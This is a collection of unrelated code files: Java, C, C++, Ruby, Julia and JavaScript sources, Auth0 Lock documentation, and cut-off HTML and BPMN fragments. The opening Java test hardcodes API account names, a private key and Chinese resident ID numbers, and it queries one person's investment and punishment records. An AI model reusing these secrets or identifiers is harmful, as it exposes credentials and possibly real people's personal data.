import com.unionpaysmart.data.sdk.valid.exception.ValidationException;
import org.apache.log4j.PropertyConfigurator;
import org.junit.Assert;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
/**
 * 个人投资任职查询<br/>
 * 使用测试环境
 *
 * @author Nie Xiongding
 * @since 2015年3月6日 下午3:59:15
 */
public class PersonalInvestApiTest {
    @BeforeClass
    public static void setUp() {
        String log4jPath = Thread.currentThread().getContextClassLoader().getResource(".").getPath()
                + "/properties/log4j.properties";
        PropertyConfigurator.configure(log4jPath);
    }

    /**
     * 测试没有设置帐号的时候 提示ValidationException 异常
     */
    @Test(expected = ValidationException.class)
    public void testWithoutAccount() {
        DataApi.account = null;
        DataApi.privateKey = null;
        DataApi.callPersonalInvest(new PersonalInvestRequest());
    }

    /**
     * 不填写必要参数时测试
     */
    @Test
    public void testWithoutNeededParams() {
        PersonalInvestRequest personalInvestRequest = new PersonalInvestRequest();
        PersonalInvestResponse personalInvestResponse = DataApi.callPersonalInvest(personalInvestRequest);
        Assert.assertEquals("resCode", "1005", personalInvestResponse.getResCode());
        Assert.assertEquals("resMsg", "参数为空或格式错误 [字段 cid 不能为空]", personalInvestResponse.getResMsg());
    }

    /**
     * 正常调用接口测试
     */
    @Test
    public void testNormal() {
        init();
        PersonalInvestRequest personalInvestRequest = new PersonalInvestRequest();
        personalInvestRequest.setCid("421015198612124578");
        PersonalInvestResponse personalInvestResponse = DataApi.callPersonalInvest(personalInvestRequest);
        Assert.assertEquals("data", null, personalInvestResponse.getData());
    }

    /**
     * 初始化参数
     */
    @Before
    public void init() {
        // 测试环境
        DataApi.account = "litantiaotest";
        DataApi.privateKey = "6ad2693d06f9f75ceb3d41309f9e903c";
    }

    /**
     * 个人对外投资
     *
     */
    @Test
    public void testPersonalInvest0001(){
        DataApi.account = "100000";
        DataApi.privateKey = "99999999qqqqqqqq99999999qqqqqqqq";
        PersonalInvestRequest request = new PersonalInvestRequest();
            request.setCid("330281198205222216");
        PersonalInvestResponse response = DataApi.callPersonalInvest(request);
            PersingleGr _persingleGr = response.getData();
                Assert.assertEquals("shareholderList.size",10,_persingleGr.getShareholderList().size());
                Assert.assertEquals("frList.size",9,_persingleGr.getFrList().size());
                Assert.assertEquals("managementList.size",24,_persingleGr.getManagementList().size());
                Assert.assertEquals("punishBreakList.size",1,_persingleGr.getPunishBreakList().size());
                Assert.assertEquals("punishedList.size",4,_persingleGr.getPunishedList().size());
                Assert.assertEquals("aliCreditList.size",1,_persingleGr.getAliCreditList().size());
    }
}


text:
package net.sf.jsqlparser.statement.select;

public interface SelectBody {

    public void accept(SelectVisitor selectVisitor);
}


text:
namespace devmenureanimated
{

struct ErrorWrapper {
  std::string message = "";
  bool handled = true;
};

class ErrorHandler {
  public:
    bool raise() {
      if (getError()->handled) {
        return false;
      }
      this->getScheduler()->scheduleOnUI([this]() mutable {
        this->raiseSpec();
      });
      return true;
    }
    virtual std::shared_ptr<Scheduler> getScheduler() = 0;
    virtual std::shared_ptr<ErrorWrapper> getError() = 0;
    virtual void setError(std::string message) = 0;
    virtual ~ErrorHandler() {}
  protected:
    virtual void raiseSpec() = 0;
};

}

#endif


text:
#include "guest_debug.h"

#include <stdio.h>
#include <stdarg.h>
#include <time.h>

#include "guest_types.h"

#define GUEST_DEBUG_WANT_SYSLOG
#ifdef GUEST_DEBUG_WANT_SYSLOG
#include <syslog.h>
#endif

static char _process_name[30];
static GuestDebugLogLevelT _log_level = GUEST_DEBUG_LOG_LEVEL_INFO;

// ****************************************************************************
// Guest Debug - Log Level String
// ==============================
const char* guest_debug_log_level_str( GuestDebugLogLevelT level )
{
    switch (level) {
        case GUEST_DEBUG_LOG_LEVEL_ERROR:   return "error";
        case GUEST_DEBUG_LOG_LEVEL_INFO:    return " info";
        case GUEST_DEBUG_LOG_LEVEL_DEBUG:   return "debug";
        case GUEST_DEBUG_LOG_LEVEL_VERBOSE: return " verb";
        default:
            return "???";
    }
}
// ****************************************************************************

// ****************************************************************************
// Guest Debug - Set Log Level
// ===========================
void guest_debug_set_log_level( GuestDebugLogLevelT level )
{
    _log_level = level;
}
// ****************************************************************************

// ****************************************************************************
// Guest Debug - Want Log
// ======================
bool guest_debug_want_log( GuestDebugLogLevelT level )
{
    return (level <= _log_level);
}
// ****************************************************************************

// ****************************************************************************
// Guest Debug - Log
// =================
void guest_debug_log( const char* format, ... )
{
    char time_str[80];
    char date_str[32];
    struct tm t_real;
    struct timespec ts_real;
    va_list arguments;
    char log_data[512];

    va_start(arguments, format);
    vsnprintf(log_data, sizeof(log_data), format, arguments);
    va_end(arguments);

    clock_gettime(CLOCK_REALTIME, &ts_real);

    if (NULL == localtime_r(&(ts_real.tv_sec), &t_real))
    {
        snprintf( time_str, sizeof(time_str),
                  "YYYY:MM:DD HH:MM:SS.xxx" );
    } else {
        strftime( date_str, sizeof(date_str), "%b %e %H:%M:%S",
                  &t_real );
        snprintf( time_str, sizeof(time_str), "%s.%03ld", date_str,
                  ts_real.tv_nsec/1000000 );
    }

#ifdef GUEST_DEBUG_WANT_SYSLOG
    syslog(LOG_DEBUG, "%s", log_data);
#else
    printf("%s %s: %s\n", time_str, _process_name, log_data);
#endif
}
// ****************************************************************************

// ****************************************************************************
// Guest Debug - Initialize
// ========================
GuestErrorT guest_debug_initialize( char process_name[] )
{
    _log_level = GUEST_DEBUG_LOG_LEVEL_INFO;
    snprintf(_process_name, sizeof(_process_name), "%s", process_name);

#ifdef GUEST_DEBUG_WANT_SYSLOG
    openlog(_process_name, LOG_PID | LOG_NDELAY, LOG_DAEMON);
#endif

    return GUEST_OKAY;
}
// ****************************************************************************

// ****************************************************************************
// Guest Debug - Finalize
// ======================
GuestErrorT guest_debug_finalize( void )
{
    _log_level = GUEST_DEBUG_LOG_LEVEL_INFO;
    _process_name[0] = '\0';

#ifdef GUEST_DEBUG_WANT_SYSLOG
    closelog();
#endif

    return GUEST_OKAY;
}
// ****************************************************************************


text:
describe("angular-test", function(){

  it("is a test of the angular services", function(){

    expect(true).toBe(true);

  });

});


text:
class realtimeclock: public Simulator {
// Declare the state, output
// variables and parameters
double sigma;
double y[10];
double dblRealTime;

public:
	realtimeclock(const char *n): Simulator(n) {};
	void init(double, ...);
	double ta(double t);
	void dint(double);
	void dext(Event , double );
	Event lambda(double);
	void exit();
};
#endif


text:
ActionController::Routing::Routes.draw do |map|
  # The priority is based upon order of creation: first created -> highest priority.

  # Sample of regular route:
  # map.connect 'products/:id', :controller => 'catalog', :action => 'view'
  # Keep in mind you can assign values other than :controller and :action

  # Sample of named route:
  # map.purchase 'products/:id/purchase', :controller => 'catalog', :action => 'purchase'
  # This route can be invoked with purchase_url(:id => product.id)

  #后台管理需要的URL
  map.namespace(:admin) do |admin|
    admin.resources :categories, :has_many   => [ :topics, :comments ] ,:collection=>{:list => :get}
    admin.resources :natures,
      :has_one   => [   :topics, :comments ]
    admin.resources  :topics,:collection=>{:list => :get}
    admin.resources  :comments,:collection=>{:list => :get,:deleteall => :get,:showall => :get,:hidenall => :get}
    admin.resources  :trcakbacks,:collection=>{:list => :get,:deleteall => :get,:showall => :get,:hidenall => :get}
    admin.resources  :tags
    admin.resources  :users
    admin.resources  :themes,:collection=>{:list => :get,:preview => :get,:active =>:get}
    admin.resources  :links,:collection=>{:list => :get}
    admin.resources  :configurations
    admin.resources  :attachments
    admin.resources  :plugins
    admin.resources  :caches,:collection=>{:counts => :get}
     admin.resources  :logs,:collection=>{:counts => :get}
  end

  #前台
  map.resources :categories do |category|
    category.resources :topics
  end

  map.resources :natures do |nature|
    nature.resources :topics
  end

#  map.resources :archives do |archive|
#    archive.resources :topics
#  end

  # You can have the root of your site routed by hooking up ''
  # -- just remember to delete public/index.html.
  # map.connect '', :controller => "welcome"
  map.connect '/topic/code_image', :controller => 'topic', :action => 'code_image'

  map.connect 'theme/:theme/:id/',:controller => "index",:action=>"theme"
  map.root :controller => "index"
  map.connect '/topic/:id', :controller => 'topic', :action => 'index'

  map.connect '/category/:id', :controller => 'category', :action => 'index'
  map.connect '/trackback/:id', :controller => 'trackback', :action => 'index'
  map.connect '/tag/:id', :controller => 'tag', :action => 'index'
#  map.connect '/nature/:id', :controller => 'nature', :action => 'index'

  map.connect 'archives/:year/:month',:controller => 'archives',
    :action => 'show',
    :year => /\d{4}/, :day => nil, :month => nil
  map.connect 'archives/:year/:month/:day/:title', :controller => 'archives',
    :action => 'permalink', :year => /\d{4}/
  map.connect '/configuration/preview/:theme',:controller => 'admin/configuration',:action => 'preview'

  # Install the default route as the lowest priority.
  map.connect ':controller/:action/:id.:format'
  map.connect ':controller/:action/:id'
  #TinyMceGzip::Routes.add_routes
  #  map.theme_images "/themes/:theme/images/*filename", :controller=>'theme', :action=>'images'
  #  map.theme_stylesheets "/themes/:theme/stylesheets/*filename", :controller=>'theme', :action=>'stylesheets'
  #  map.theme_javascript "/themes/:theme/javascript/*filename", :controller=>'theme', :action=>'javascript'

end


text:
package com.amediamanager.dao;

import com.amediamanager.domain.User;
import com.amediamanager.exceptions.DataSourceTableDoesNotExistException;
import com.amediamanager.exceptions.UserDoesNotExistException;
import com.amediamanager.exceptions.UserExistsException;

public interface UserDao {

	public void save(User user) throws UserExistsException, DataSourceTableDoesNotExistException;

	public void update(User user) throws UserDoesNotExistException, DataSourceTableDoesNotExistException;

	public User find (String email) throws DataSourceTableDoesNotExistException;

}


text:
using DiskJockey.model
import DiskJockey.model.lnprior_base
import DiskJockey.constants.ModelException

# for example, a replacement for the standard model might look like
function lnprior(pars::ParametersStandard, grid::Grid)
    lnp = lnprior_base(pars)

    # Modify this code here to enforce your prior!

    r_out = grid.Rs[end]/AU # [AU]
    # A somewhat arbitrary cutoff regarding the gridsize to prevent the disk from being too large
    # to fit on the model grid.
    if (3 * pars.r_c) > r_out
        throw(ModelException("User prior violated."))
    end

    return lnp
end

# while an example for the cavity model would look like this
function lnprior(pars::ParametersCavity, grid::Grid)
    lnp = lnprior_base(pars)

    # Modify this code here to enforce your prior!

    r_in = grid.Rs[1]/AU # [AU]
    r_out = grid.Rs[end]/AU # [AU]
    # A somewhat arbitrary cutoff regarding the gridsize to prevent the disk from being too large
    # to fit on the model grid.

    # Also check to make sure that r_cav is less than r_c but larger than r_in.
    if (3 * pars.r_c) > r_out || pars.r_cav < r_in || pars.r_cav > pars.r_c
        throw(ModelException("User prior violated."))
    end

    return lnp

end

function lnprior(pars::ParametersVertical, grid::Grid)
    # Create a giant short-circuit or loop to test for sensical parameter values.
    if pars.M_star <= 0.0 || pars.ksi <= 0. || pars.T_10a <= 0. || pars.T_10m <= 0. || pars.r_c <= 0.0  || pars.T_10a > 1500. || pars.q_m < 0. || pars.q_a < 0. || pars.q_m > 1.0 || pars.q_a > 1.0 || pars.incl < 0. || pars.incl > 180. || pars.PA < -180. || pars.PA > 520. || pars.X_freeze > 1.0 || pars.sigma_s < 0.0
        throw(ModelException("Parameters outside of prior range."))
    end

    # Check to see that the temperatures make sense
    if pars.T_10m > pars.T_10a
        throw(ModelException("Atmosphere is cooler than midplane."))
    end

    # If we've passed all the hard-cut offs by this point, return the geometrical inclination prior.
    lnp = log(0.5 * sind(pars.incl))

    r_out = grid.Rs[end]/AU # [AU]
    # A somewhat arbitrary cutoff regarding the gridsize to prevent the disk from being too large
    # to fit on the model grid.
    if (3 * pars.r_c) > r_out
        throw(ModelException("Model radius too large for grid size."))
    else
        return lnp
    end

end


text:
(function ($, document) {
    var defaultOptions = {
        expires: 0,
        path: '/',
        domain: document.location,
        secure: false
    };

    var setCookie = function (name, value, options, type) {
        if (!$.trim(value).length && type !== 'remove') {
            throw new Error("Cookie value cannot be empty" + type);
        }
        options = getOptions(type, options);
        var cookieValue = encodeURIComponent(value)
        if (options.expires > 0) {
            var toDay = new Date();
            var expire = new Date(toDay.getTime() + options.expires * 1000)
            console.log(expire)
            options.expires = expire.toGMTString();
        }

        document.cookie = name + "=" + cookieValue + ((options.expires == 0) ? "" : ("; expires=" + options.expires)) ;

        return name;

    };

    var getOptions = function (type, options) {
        options = $.extend({}, defaultOptions, options || {});
        switch (type) {
            case 'sensitive':
                options.secure = true;
                break;
            case 'session':
                options.expires = 0;
                break;
            case 'remove':
                options.expires = 'Thu, 01 Jan 1970 00:00:01 GMT';
                break;
        }
        return options;
    };
    $.cookieManager = {
        setPublicCookie: function (name, value, options) {
            setCookie(name, value, options, 'public');
        },
        setSensitiveCookie: function (name, value, options) {
            setCookie(name, value, options, 'sensitive');
        },

        setSessionCookie: function (name, value, options) {
            setCookie(name, value, options, 'session');

        },
        removeCookie: function (name, options) {
            setCookie(name, '', options, 'remove');
        },
        getCookie: function (name) {
            var re = new RegExp(name + "=([^;]+)");
            var value = re.exec(document.cookie);
            console.log(value);
            return (value != null) ? decodeURIComponent(value[1]) : null;
        },
        getAllCookies: function () {
            var pairs = document.cookie.split(";");
            var cookies = {};
            for (var i = 0; i < pairs.length; i++) {
                var pair = pairs[i].split("=");
                cookies[pair[0]] = decodeURIComponent(pair[1]);
            }
            return cookies;
        },
        getCookieCount: function () {
            return Object.keys(this.getAllCookies()).length;
        }
    }
})(jQuery, document);


text:
'use strict'; // eslint-disable-line strict

/*
 * The file contains multiple scenarios for measuring performance of S3
 * specifying on different number of parallel requests.
 * Main purpose of these measurements is to estimate maximal number of
 *  operations/s, or throughput equivalently.
 * These scenarios are divided by number of connectors and number of buckets
 * 1. Connectors: single, multiple via proxy, multiple via balancing
 * 2. Buckets: single, multiple
 * Only sequential simulation is executed, i.e. at a time, a type of request
 *  with a single combination of (number of parallel requests, object size) is
 *  executed.
 */

const numCPUs = require('os').cpus().length;

const runS3Blaster = require('../../lib/runS3Blaster');

const numWorkers = Math.min(numCPUs, 8);
// params.paralReqs is an array of numbers of parallel requests sent from each
// worker. Hence, if there are multiple workers, total numbers of parallel
// requests are equal such numbers multipled with number of workers
const totalParalReqs = [32, 64, 128, 256, 512, 1024, 2048, 10240];
const paralReqs = totalParalReqs.map(num =>
                    Math.max(1, Math.floor(num / numWorkers)));

const proxyBackendsNb = 5;
const paralReqsProxy = totalParalReqs.map(num =>
                    Math.max(1, Math.floor(num / proxyBackendsNb)));

const maxBktsNb = 30;

const proxy = {
    host: 'localhost',
    port: 80,
};

const params = {
    forksNb: 1,
    bucketsNb: 1,
    bucketPrefix: 'buckets3parallel',
    objectsNb: 1e6,
    fillObjs: false,
    sizes: [0, 10, 1024],
    unit: 'KB',
    objMetadata: 'full',
    requests: 'put,get,delete',
    proprReqs: [1, 1, 1],       // proportion of requests
    range: ['all', 'all', 'all'],
    schedule: 'each',
    simulDelay: 10,
    nextKey: 'rand',
    paralReqs,
    sendReqRates: ['max', 'max', 'max'],
    observationsNb: 1e6,
    freqShow: 1000,
    runTime: 600,
    dontCleanDB: true,
    ssm: true,
    displaySSM: true,
    liveGlobal: true,
    rate: 1000,
    output: 's3parallel',
    message: 'S3 branch: branch of S3,\\n' +
             'MD branch: branch of MD,\\n' +
             'Vault branch: branch of Vault',
};

let folder;
if (process.env.FOLDERNAME) {
    folder = `${process.env.FOLDERNAME}`;
} else {
    folder = (new Date()).toDateString().replace(/\s/g, '_');
}

describe('Single connector, single bucket, all requests', function fn() {
    this.timeout(0);

    before(() => {
        params.statsFolder =
            `${folder}/s3parallel/conn1_bkt${params.bucketsNb}`;
    });

    it('Sequential run', done => {
        params.output = 'allReqs_seq';
        process.nextTick(runS3Blaster.start, params, done);
    });
});

describe('Single connector, multiple buckets, all requests', function fn() {
    this.timeout(0);

    before(() => {
        params.bucketsNb = maxBktsNb;
        params.statsFolder =
            `${folder}/s3parallel/conn1_bkt${params.bucketsNb}`;
    });

    it('Sequential run', done => {
        params.output = 'allReqs_seq';
        process.nextTick(runS3Blaster.start, params, done);
    });
});

/* Multiple connectors: s3blaster sends requests to Proxy that spreads
 * requests to all other servers */
describe('Multiple connectors via proxy, single bucket', function fn() {
    this.timeout(0);

    before(() => {
        params.host = proxy.host;
        params.port = proxy.port;
        params.bucketsNb = 1;
        params.paralReqs = paralReqsProxy;
        params.statsFolder =
            `${folder}/s3parallel/connProxy_bkt${params.bucketsNb}`;
    });

    it('Sequential run', done => {
        params.output = 'allReqs_seq';
        process.nextTick(runS3Blaster.start, params, done);
    });
});

describe('Multiple connectors, multiple buckets, all requests', function fn() {
    this.timeout(0);

    before(() => {
        params.bucketsNb = maxBktsNb;
        params.statsFolder =
            `${folder}/s3parallel/connProxy_bkt${params.bucketsNb}`;
    });

    it('Sequential run', done => {
        params.output = 'allReqs_seq';
        process.nextTick(runS3Blaster.start, params, done);
    });
});

/* Balacing connectors: each fork sends requests to only one server */
describe('Balancing connectors, single bucket, all requests', function fn() {
    this.timeout(0);

    before(() => {
        params.host = 'balancing';
        params.port = 8000;
        params.forksNb = numWorkers;
        params.paralReqs = paralReqs;
        params.bucketsNb = 1;
        params.statsFolder =
            `${folder}/s3parallel/connBalancing_bkt${params.bucketsNb}`;
    });

    it('Sequential run', done => {
        params.output = 'allReqs_seq';
        process.nextTick(runS3Blaster.start, params, done);
    });
});

describe('Balancing connectors, multiple buckets, all requests', function fn() {
    this.timeout(0);

    before(() => {
        params.bucketsNb = maxBktsNb;
        params.statsFolder =
            `${folder}/s3parallel/connBalancing_bkt${params.bucketsNb}`;
    });

    it('Sequential run', done => {
        params.output = 'allReqs_seq';
        process.nextTick(runS3Blaster.start, params, done);
    });
});

/*
 * Clean databases
 */
describe('Clean databases of simulation', function fn() {
    this.timeout(0);

    before(() => {
        params.forksNb = 1;
        params.statsFolder = `${folder}/s3parallel/clean`;
        params.paralReqs = [128];
        params.dontCleanDB = false;
        params.requests = 'delete';
        params.observationsNb = 1;
    });

    it('Clean databases', done => {
        params.output = 'cleanDB_seq';
        process.nextTick(runS3Blaster.start, params, done);
    });
});


text:
using System.ComponentModel.DataAnnotations;

namespace OrchardCore.Google.Analytics.ViewModels
{
    public class GoogleAnalyticsSettingsViewModel
    {
        [Required(AllowEmptyStrings = false)]
        public string TrackingID { get; set; }
    }
}


text:
<!DOCTYPE html>

    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta
      name="viewport"
      content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no"
    />
    <meta name="description" content="Add bloom effect to the scene." />
    <meta
      name="cesium-sandcastle-labels"
      content="Showcases, Post Processing"
    />
    <title>Cesium Demo</title>

Loading...

            Bloom
            <input type="checkbox" data-bind="checked: show" />

            Glow only
            <input type="checkbox" data-bind="checked: glowOnly" />

            Contrast

              <input
                type="range"
                min="-255.0"
                max="255.0"
                step="0.01"
                data-bind="value: contrast, valueUpdate: 'input'"
              />

            Brightness

              <input
                type="range"
                min="-1.0"
                max="1.0"
                step="0.01"
                data-bind="value: brightness, valueUpdate: 'input'"
              />

            Delta

              <input
                type="range"
                min="1"
                max="5"
                step="0.01"
                data-bind="value: delta, valueUpdate: 'input'"
              />

            Sigma

              <input
                type="range"
                min="1"
                max="10"
                step="0.01"
                data-bind="value: sigma, valueUpdate: 'input'"
              />

            Step Size

              <input
                type="range"
                min="0"
                max="7"
                step="0.01"
                data-bind="value: stepSize, valueUpdate: 'input'"
              />


text:
env = ENV['RAILS_ENV'] || "production"

# workers
worker_processes 1

# listen
listen "/tmp/unicorn-unicycling-rulebook.socket", backlog: 64

# preload
preload_app true

# paths
app_path = "/home/ec2-user/unicycling-rulebook"
working_directory "#{app_path}/current"
pid "tmp/pids/unicorn.pid"

# logging
stderr_path "log/unicorn.stderr.log"
stdout_path "log/unicorn.stdout.log"

# use correct Gemfile
before_exec do |server|
  ENV['BUNDLE_GEMFILE'] = "#{app_path}/current/Gemfile"
end

# zero downtime
before_fork do |server, worker|
  # the following is highly recomended for Rails + "preload_app true"
  # as there's no need for the master process to hold a connection
  if defined?(ActiveRecord::Base)
    ActiveRecord::Base.connection.disconnect!
  end

  # Before forking, kill the master process that belongs to the .oldbin PID.
  # This enables 0 downtime deploys.
  old_pid = "#{server.config[:pid]}.oldbin"
  if File.exists?(old_pid) && server.pid != old_pid
    begin
      Process.kill("QUIT", File.read(old_pid).to_i)
    rescue Errno::ENOENT, Errno::ESRCH
      # someone else did our job for us
    end
  end
end

after_fork do |server, worker|
  if defined?(ActiveRecord::Base)
    ActiveRecord::Base.establish_connection
  end
end


text:
section: libraries
description: Lock V10 documentation on setting authentication parameters.
---

<%= include('../_includes/_lock-version') %>

# Lock: Authentication Parameters

You can send parameters when starting a login by adding them to the options object. The example below adds a `state` parameter with a value equal to `'foo'`.

```js
var options = {
  auth: {
    params: {state: 'foo'},
  }
};
```

The following parameters are supported: `access_token`, `scope`, `protocol`, `device`, `request_id`, `nonce` and `state`.

::: panel-info Note
This would be analogous to triggering the login with `https://${account.namespace}/authorize?state=foo&...`.
:::

## Supported parameters

### scope {string}

```js
var options = {
  auth: {
    params: {scope: 'openid email user_metadata app_metadata picture'},
  }
};
```

There are different values supported for scope:

* `scope: 'openid'`: _(default)_ It will return not only the `access_token`, but also an `id_token` which is a JSON Web Token (JWT). The JWT will only contain the user ID (`sub` claim).
* `scope: 'openid profile'`: (not recommended): will return all the user attributes in the token. This can cause problems when sending or receiving tokens in URLs (e.g. when using response_type=token) and will likely create an unnecessarily large token(especially with Azure AD which returns a fairly long JWT). Keep in mind that JWTs are sent on every API request, so it is desirable to keep them as small as possible.
* `scope: 'openid {attr1} {attr2} {attrN}'`: If you want only specific user attributes to be part of the `id_token` (For example: `scope: 'openid name email picture'`). When selecting specific attributes, the attributes chosen are from those available in the user's profile, which will vary from application to application.

For more information about scopes, see the [scopes documentation page](/scopes).

#### Example: retrieve a token with the profile data

If you want to do this using Lock widget version 10, you should add the `scope` parameter. For example in AngularJS you would use the initializing method of `authProvider`:

```js
authProvider.init({
    domain: AUTH0_DOMAIN,
    clientID: AUTH0_CLIENT_ID,
    loginUrl: '/login',

    auth: {
        params: {
            scope: 'openid profile'
        }
    }
});
```

::: panel-info Connection Scopes
There is also a `connectionScopes` configuration option for Lock 10, which allows you to specify scopes on any specific connection. This will be useful if you want to initially start with a set of scopes (defined on the dashboard), but later on request additional permissions or attributes. Read more about it on the [Lock Configuration Options](/libraries/lock/v10/customization#connectionscopes-object-) page.
:::

### state {string}

The `state` parameter is an arbitrary state value that will be mantained across redirects. It is useful to mitigate [XSRF attacks](http://en.wikipedia.org/wiki/Cross-site_request_forgery) and for any contextual information, [such as a return url](/tutorials/redirecting-users), that you might need after the authentication process is finished.

[Click here to learn more about how to send/receive the state parameter.](/protocols/oauth-state)

<%= include('../_includes/_lock-toc') %>


text:
"use strict";

exports.__esModule = true;

var _classCallCheck2 = require("babel-runtime/helpers/classCallCheck");

var _classCallCheck3 = _interopRequireDefault(_classCallCheck2);

var _binding = require("../binding");

var _binding2 = _interopRequireDefault(_binding);

var _babelTypes = require("babel-types");

var t = _interopRequireWildcard(_babelTypes);

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

var renameVisitor = {
  ReferencedIdentifier: function ReferencedIdentifier(_ref, state) {
    var node = _ref.node;

    if (node.name === state.oldName) {
      node.name = state.newName;
    }
  },
  Scope: function Scope(path, state) {
    if (!path.scope.bindingIdentifierEquals(state.oldName, state.binding.identifier)) {
      path.skip();
    }
  },
  "AssignmentExpression|Declaration": function AssignmentExpressionDeclaration(path, state) {
    var ids = path.getOuterBindingIdentifiers();

    for (var name in ids) {
      if (name === state.oldName) ids[name].name = state.newName;
    }
  }
};

var Renamer = function () {
  function Renamer(binding, oldName, newName) {
    (0, _classCallCheck3.default)(this, Renamer);

    this.newName = newName;
    this.oldName = oldName;
    this.binding = binding;
  }

  Renamer.prototype.maybeConvertFromExportDeclaration = function maybeConvertFromExportDeclaration(parentDeclar) {
    var exportDeclar = parentDeclar.parentPath.isExportDeclaration() && parentDeclar.parentPath;
    if (!exportDeclar) return;

    // build specifiers that point back to this export declaration
    var isDefault = exportDeclar.isExportDefaultDeclaration();

    if (isDefault && (parentDeclar.isFunctionDeclaration() || parentDeclar.isClassDeclaration()) && !parentDeclar.node.id) {
      // Ensure that default class and function exports have a name so they have a identifier to
      // reference from the export specifier list.
      parentDeclar.node.id = parentDeclar.scope.generateUidIdentifier("default");
    }

    var bindingIdentifiers = parentDeclar.getOuterBindingIdentifiers();
    var specifiers = [];

    for (var name in bindingIdentifiers) {
      var localName = name === this.oldName ? this.newName : name;
      var exportedName = isDefault ? "default" : name;
      specifiers.push(t.exportSpecifier(t.identifier(localName), t.identifier(exportedName)));
    }

    var aliasDeclar = t.exportNamedDeclaration(null, specifiers);

    // hoist to the top if it's a function
    if (parentDeclar.isFunctionDeclaration()) {
      aliasDeclar._blockHoist = 3;
    }

    exportDeclar.insertAfter(aliasDeclar);
    exportDeclar.replaceWith(parentDeclar.node);
  };

  Renamer.prototype.maybeConvertFromClassFunctionDeclaration = function maybeConvertFromClassFunctionDeclaration(path) {
    return; // TODO

    // retain the `name` of a class/function declaration

    if (!path.isFunctionDeclaration() && !path.isClassDeclaration()) return;
    if (this.binding.kind !== "hoisted") return;

    path.node.id = t.identifier(this.oldName);
    path.node._blockHoist = 3;

    path.replaceWith(t.variableDeclaration("let", [t.variableDeclarator(t.identifier(this.newName), t.toExpression(path.node))]));
  };

  Renamer.prototype.maybeConvertFromClassFunctionExpression = function maybeConvertFromClassFunctionExpression(path) {
    return; // TODO

    // retain the `name` of a class/function expression

    if (!path.isFunctionExpression() && !path.isClassExpression()) return;
    if (this.binding.kind !== "local") return;

    path.node.id = t.identifier(this.oldName);

    this.binding.scope.parent.push({
      id: t.identifier(this.newName)
    });

    path.replaceWith(t.assignmentExpression("=", t.identifier(this.newName), path.node));
  };

  Renamer.prototype.rename = function rename(block) {
    var binding = this.binding;
    var oldName = this.oldName;
    var newName = this.newName;
    var scope = binding.scope;
    var path = binding.path;

    var parentDeclar = path.find(function (path) {
      return path.isDeclaration() || path.isFunctionExpression();
    });
    if (parentDeclar) {
      this.maybeConvertFromExportDeclaration(parentDeclar);
    }

    scope.traverse(block || scope.block, renameVisitor, this);

    if (!block) {
      scope.removeOwnBinding(oldName);
      scope.bindings[newName] = binding;
      this.binding.identifier.name = newName;
    }

    if (binding.type === "hoisted") {
      // https://github.com/babel/babel/issues/2435
      // todo: hoist and convert function to a let
    }

    if (parentDeclar) {
      this.maybeConvertFromClassFunctionDeclaration(parentDeclar);
      this.maybeConvertFromClassFunctionExpression(parentDeclar);
    }
  };

  return Renamer;
}();

exports.default = Renamer;
module.exports = exports["default"];


text:
class ExtensiveChallenge < Challenge
end


text:
package gui.init.button;

import java.util.Properties;

import gui.animation.AnimationControl;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.control.Button;

public class AnimationOffButton extends Button implements ButtonInterface {
	public AnimationOffButton(AnimationControl animControl, Properties properties){
		this.setText(properties.getProperty("animation_off"));
		this.setOnAction(new EventHandler<ActionEvent>(){
			@Override
			public void handle(ActionEvent arg0) {
				animControl.turnOffAnimation();
			}
		});
	}

	@Override
	public void retrieveText() {
		// TODO Auto-generated method stub

	}

	@Override
	public Button setText() {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public Button setAction(EventHandler<?> event) {
		// TODO Auto-generated method stub
		return null;
	}
}


text:
15 Digit to 18 digit conversation
This is a trial to see if extension can convert 15Digit Id to 18Digit by reading the URL
Built on top of the sample extension provided by google@https://developer.chrome.com/extensions/getstarted
Note: Its very similar to : https://appirio.com/tech-blog/google-chrome-extension-salesforce-com-id-converter


text:
var toggleBox = function(el){
    $(el).parent().attr('toggle',el.checked);
    updateUser(el);
}
var saveUserSuccess = function(res){
    $('#main-alert').html(
        Handlebars.templates.success({
            message:{
                title : 'SUCCESS',
                description :'Saved!'
            }
        })
    );
    $('#main-alert').fadeIn();
    fadeOutDelay();
}
var saveUsererror = function(err){
    $('#main-alert').html(
        Handlebars.templates.error({
            message:{
                title : 'ERROR',
                description :'Error while saving!'
            }
        })
    );
    $('#main-alert').fadeIn();
    fadeOutDelay();
}
var fadeOutDelay = function(){
    $('#main-alert').delay(2000).fadeOut(400)
}
var updateUser = function(el){
 var userid = $(el).data('id');
 var frm =  $('#user-management-form');
 var actionurl = $(frm).attr('action')+userid;
 var isAdmin = document.getElementById('isadmin_'+userid).checked;
 var isActive = document.getElementById('isactive_'+userid).checked;
 var fd =  [];
 fd.push({name:"isadmin", value:isAdmin});
 fd.push({name:"isactive", value:isActive});
 console.log(fd);
    $.ajax({
        url: actionurl,
        data: fd,
        type:  $(frm).attr('method'),
        success: saveUserSuccess,
        error: saveUsererror
    });
}
$(function(){
    $('#user-management-form').submit(function(e){
        e.preventDefault();
    });
});


text:
<?xml version="1.0" encoding="UTF-8"?>
<definitions id="definitions"
  xmlns="http://www.omg.org/spec/BPMN/20100524/MODEL"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:flowable="http://flowable.org/bpmn"
  targetNamespace="Examples">

  <process id="testAsyncTasks">

    <startEvent id="theStart" />
    <sequenceFlow id="flow1" sourceRef="theStart" targetRef="inclusiveGw" />

    <inclusiveGateway id="inclusiveGw" name="Inclusive Gateway Fork" />
    <sequenceFlow id="flow2" sourceRef="inclusiveGw" targetRef="theTask1" />
    <sequenceFlow id="flow3" sourceRef="inclusiveGw" targetRef="theTask2"/>

    <serviceTask id="theTask1" flowable:async="true" flowable:exclusive="true" flowable:expression="${true}" />
    <sequenceFlow id="flow5" sourceRef="theTask1" targetRef="inclusiveGwJoin" />

